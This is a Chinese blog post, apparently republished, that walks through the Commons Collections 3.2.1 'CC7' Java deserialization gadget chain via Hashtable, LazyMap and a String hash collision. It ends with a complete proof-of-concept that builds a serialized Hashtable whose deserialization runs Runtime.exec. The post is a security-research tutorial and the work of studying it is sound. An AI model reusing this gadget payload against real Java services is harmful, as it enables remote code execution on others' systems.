CC7利用鏈分析

分析版本

Commons Collections 3.2.1

JDK 8u65

環境配置參考JAVA安全初探(三):CC1鏈全分析

分析過程

CC7,6,5都是在CC1 LazyMap利用鏈(引用)的基礎上。

只是進入到LazyMap鏈的入口鏈不同。

CC7這個鏈有點繞,下面順著分析一下利用鏈。

入口類是Hashtable,看下它的readObject函數。

調用了reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException
{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}
}

首先要知道,HashTable是數組+鏈表的形式,鏈表是用來處理哈希沖突的。

代碼分析放在注釋中

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException
{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;      //首先求key的哈希值for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { //for循環是判斷,key哈希值對應的鏈表中有沒有key相同的鍵值對,如果有則拋出異常(鍵不能相同)if ((e.hash == hash) && e.key.equals(key)) {    //根據運算符規則,我們想執行&&的第二項e.key.equals(key)就要保證第一項(e.hash == hash)為真(關于哈希碰撞的尋找,下面講)throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;
}

調用從e.key.equals(key)開始,我們可以控制兩個key的傳值。(下文中e.key用key1代替,(key)用key2代替)

首先e.key.equals,我們控制key1的類型是LazyMap,就成了調用LazyMap.equals()。而LazyMap類中沒有實現equals方法,就調用到了它父類AbstractMapDecorator的equals。

public boolean equals(Object object) { //參數參入的是key2if (object == this) {return true;}return map.equals(object);         //這里的map注意是,key1(LazyMap的key)  作者在這里是把LazyMap的key設置為HashMap類型, 具體原因下面分析
}

下面走到了HashMap.equals(key2) ,這里又由于HashMap中沒有equals方法,成了調用其父類AbstractMap的equals方法。

public boolean equals(Object o) {    //參數傳入是key2if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;      //key2賦值給mif (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key))) return false;} else {if (!value.equals(m.get(key)))            //m是key2調用key2的get方法,也就是找到了調用LazyMap.get()的地方,我們把key2賦個LazyMap類型就好了,   key是key1return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;
}

到這里調用到了LazyMap.get方法,利用鏈完成。

我們傳入兩個LazyMap,保證兩個LazyMap.hashCode相等,也就是LazyMap.key.hashCode的值相等,找哈希碰撞。

下面看下哈希碰撞,作者找到的是String類的碰撞

public int hashCode() { //String類的hashCode方法int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;
}

" y y " . h a s h C o d e ( ) = 31 ? A S C I I ( y ) + 1 ? A S C I I ( y ) = 31 ? 121 + 1 ? 121 = 3872 "yy".hashCode()=31*ASCII(y) + 1*ASCII(y) = 31*121+1*121=3872 "yy".hashCode()=31?ASCII(y)+1?ASCII(y)=31?121+1?121=3872

和"zZ"求出來的值是一樣的,哈希碰撞我們就找到了。

我們把"yy"和"zZ",put進LazyMap的key中就好了。

之后寫Poc

public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1);                    寫入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}

我們發現反序列化時不能彈計算器,debug看一下,第二個key傳進來的size是2,導致hashCode計算為7730

image-20240709150021575

傳進來size是2是因為,在hashtable.put(map2, 1);時,觸發了利用鏈(put方法也會檢查鍵值對,觸發利用鏈),調用了LazyMap的get方法(觸發了計算器),還執行了map2.put(“yy”, 1)。解決map2.put問題,在序列化之前我們反射調用map2的remove方法,把"yy"刪除。

image-20240709152052991

最終Poc

public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1);                    寫入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//反射Method remove = map2.getClass().getDeclaredMethod("remove", Object.class);remove.setAccessible(true);remove.invoke(map2,"yy");cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}

這樣在序列化時也會觸發計算器

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/43728.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/43728.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/43728.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

前端入門知識分享:如何在HTML或CSS文件中引用CSS文件。

閱讀提示&#xff1a;本文僅僅僅適用于剛剛接觸HTML和CSS的小白從業者&#xff0c;新人愛好者。自覺身份不符的老鳥們&#xff0c;盡快繞行吧&#xff01; 什么是CSS&#xff1f;什么是CSS文件。 CSS&#xff0c;全稱為Cascading Style Sheets&#xff08;層疊樣式表&#xff…

分布式IO模塊軟件配置

組態接口模塊 1、打開網絡視圖 2、拖拽出ET200SP 3、雙擊ET200SP的圖片&#xff0c;進入從站配置 總線適配器的組態更換 關于IO地址分配&#xff0c;需要建立好子網通信后&#xff0c;在主機上配置。 可以看到IP 和設備名 設備與控制器的Profinet連接 先找到設備名稱再找…

HarmonyOS鴻蒙DevEco Studio無法連接本地模擬器

使用DevEcoStudio 5.0.3.403版本 發現無法選擇模擬器 解決方法&#xff1a; 1、打開模擬器 2、關閉DevEco Studio&#xff0c;&#xff08;不要關閉模擬器&#xff09; 3、重新打開DevEco Studio。

EXCEL VBA發郵件,實現自動化批量發送

EXCEL VBA發郵件&#xff0c;實現自動化批量發送 以GET方式上傳數據 Public Function uploadData_GET(ByVal url As String)Dim httpSet http CreateObject("Microsoft.XMLHTTP")http.Open "GET", url, Falsehttp.sendDebug.Print http.getAllResponseHea…

四道經典算法JAVA

1.爬樓地 爬20個臺階的爬法:f(19)f(18) 經典斐波拉契數列問題 public class demo4 {//爬樓梯問題public static void main(String[] args) {System.out.println(getSum(20));}public static int getSum(int n) {if (n 1)return 1;if (n 2)return 2;return getSum(n - 1) …

SpringBoot:SpringBoot中如何實現對Http接口進行監控

一、前言 Spring Boot Actuator是Spring Boot提供的一個模塊&#xff0c;用于監控和管理Spring Boot應用程序的運行時信息。它提供了一組監控端點&#xff08;endpoints&#xff09;&#xff0c;用于獲取應用程序的健康狀態、性能指標、配置信息等&#xff0c;并支持通過 HTTP …

jdk1.8 ConcurrentHashMap 源碼分析

ConcurrentHashMap 1.8 使用synchronized 和CAS 實現 記住&#xff1a;1.8沒有分段鎖不要混淆了&#xff0c;分段鎖是1.7中的 final V putVal(K key, V value, boolean onlyIfAbsent) {if (key null || value null) throw new NullPointerException();//計算hashint hash…

關于Python的類的一些理解

才發現python的類對象只能調用類方法 我想使用對類對象a使用系統調用的len方法就會報錯 2.類對象a是什么&#xff1f; 答&#xff1a;是所有的帶有self的成員變量 舉例說明&#xff1a;紅色的就是a里面的東西 class A:def __init__(self,data):self.datadataself.b1self.d{a…

發表EI會議論文-對考研生和研究生都有好處!

EI論文對考研和保研的幫助主要體現在以下幾個方面&#xff1a; 對考研的幫助 1.復試加分&#xff1a;在考研過程中&#xff0c;復試階段是關鍵&#xff0c;擁有EI論文可以證明考生具備一定的科研能力&#xff0c;給考官留下深刻印象&#xff0c;有助于提高復試通過率。 2.學…

解讀‘‘不要卷模型,要卷應用‘‘

前言 2024 年 7 月 4 日&#xff0c;世界人工智能大會暨人工智能全球治理高級別會議全體會議在上海世博中心舉行。百度創始人李彥宏在產業發展主論壇上發言&#xff0c;呼吁不要卷模型&#xff0c;要卷應用。 目錄 四個要點 積極的觀點 不合理性 總結 四個要點 李彥宏的呼吁…

多模態:Nougat詳解

文章目錄 前言一、模型結構1. encoder2. decoder3. set 二、數據增強三、數據splitting the pages 四、實驗評估repetitions during inference 五、代碼1. 環境安裝2. Dataset&#xff08;dataset.py&#xff09;3. Model&#xff08;model.py&#xff09; 總結 前言 科學知識…

一網統管/視頻匯聚/安防監控平臺EasyCVR啟動后無法訪問是什么原因?

智慧城市/一網統管/視頻匯聚/安防監控平臺EasyCVR兼容性強&#xff0c;支持多協議接入&#xff0c;包括國標GB/T 28181協議、GA/T 1400協議、部標JT808協議、RTMP、RTSP/Onvif協議、海康Ehome、海康SDK、大華SDK、華為SDK、宇視SDK、樂橙SDK、螢石云SDK等&#xff0c;并能對外分…

接口測試課程結構

課程大綱 如圖&#xff0c;接下來的階段課程&#xff0c;依次專項講解如下專題&#xff0c;能力級別為中級&#xff0c;進階后基本為中高級&#xff1a; 1.接口基礎知識&#xff1b; 2.抓包工具&#xff1b; 3.接口工具&#xff1b; 4.mock服務搭建&#xff08;數據模擬服務&am…

虛擬化技術的標準化

虛擬化技術的標準化是一個復雜而系統的過程&#xff0c;它旨在通過制定統一的接口、協議和規范來確保不同虛擬化產品之間的兼容性和互操作性。以下是虛擬化技術標準化的一些具體步驟&#xff1a; 1. 需求分析與標準制定 需求收集&#xff1a;首先&#xff0c;需要廣泛收集來自…

Git使用——首次創建本地倉庫、配置、初始化、關聯遠程倉庫

1、安裝 Git軟件 官網&#xff1a;git-scm.com 有時候官網打不開&#xff0c;這里留存個之前下載過的安裝包&#xff1a; https://download.csdn.net/download/weixin_43908355/89502977 2、配置本地倉庫 在準備建倉庫的文件夾里&#xff0c;右鍵點擊&#xff1a;Git Bash …

鴻蒙系統創建簽名文件及使用創建簽名文件打包并安裝

* 第一步 第二步&#xff1a;創建.p12文件&#xff0c;點擊New如果有的話就Choose Existing 填好下面信息 點擊Next進入到下面界面 開始生成csr文件如下圖 點擊OK–>Finish 文件保存在了下面目錄 第三步 1.訪問華為開發者平臺&#xff0c;登錄開發者賬號&#xff0c;進…

【linux服務器篇】-Redis-RDM遠程連接redis

redis desktop manager 使用遠程連接工具RDM連接redis 市面上比較常見的其中一款工具redis desktop manager 簡單的說&#xff1a; Redis Desktop Manager 簡單的來講就是Redis可視化工具&#xff0c;可以讓我們看到Redis中存儲的內容。 redis desktop manager是一款功能強…

環境構建大師:精通Conda中的conda create命令

環境構建大師&#xff1a;精通Conda中的conda create命令 引言 Conda是一個開源的包管理系統和環境管理系統&#xff0c;廣泛用于Python和其他科學計算語言的依賴管理。conda create命令是Conda中最核心的命令之一&#xff0c;它允許用戶快速創建新的隔離環境&#xff0c;確保…

金絲雀部署的藝術:在Eureka中實現漸進式服務更新

金絲雀部署的藝術&#xff1a;在Eureka中實現漸進式服務更新 引言 在微服務架構中&#xff0c;金絲雀部署是一種逐漸將新版本的服務引入生產環境的策略&#xff0c;以測試新版本在小規模用戶群中的表現&#xff0c;并減少更新風險。Eureka作為Netflix開源的服務發現框架&…

【面試八股總結】面向對象三大特性、虛函數、純虛函數、虛繼承

參考資料&#xff1a;阿秀 一、面向對象三大特性 封裝&#xff1a;將數據和代碼捆綁在一起&#xff0c;避免外界干擾和不確定性訪問 繼承&#xff1a;讓某種類型對象獲得另一個類型對象的屬性和方法 多態&#xff1a;同一種事務表現出不同事務的能力&#xff0c;即&#xf…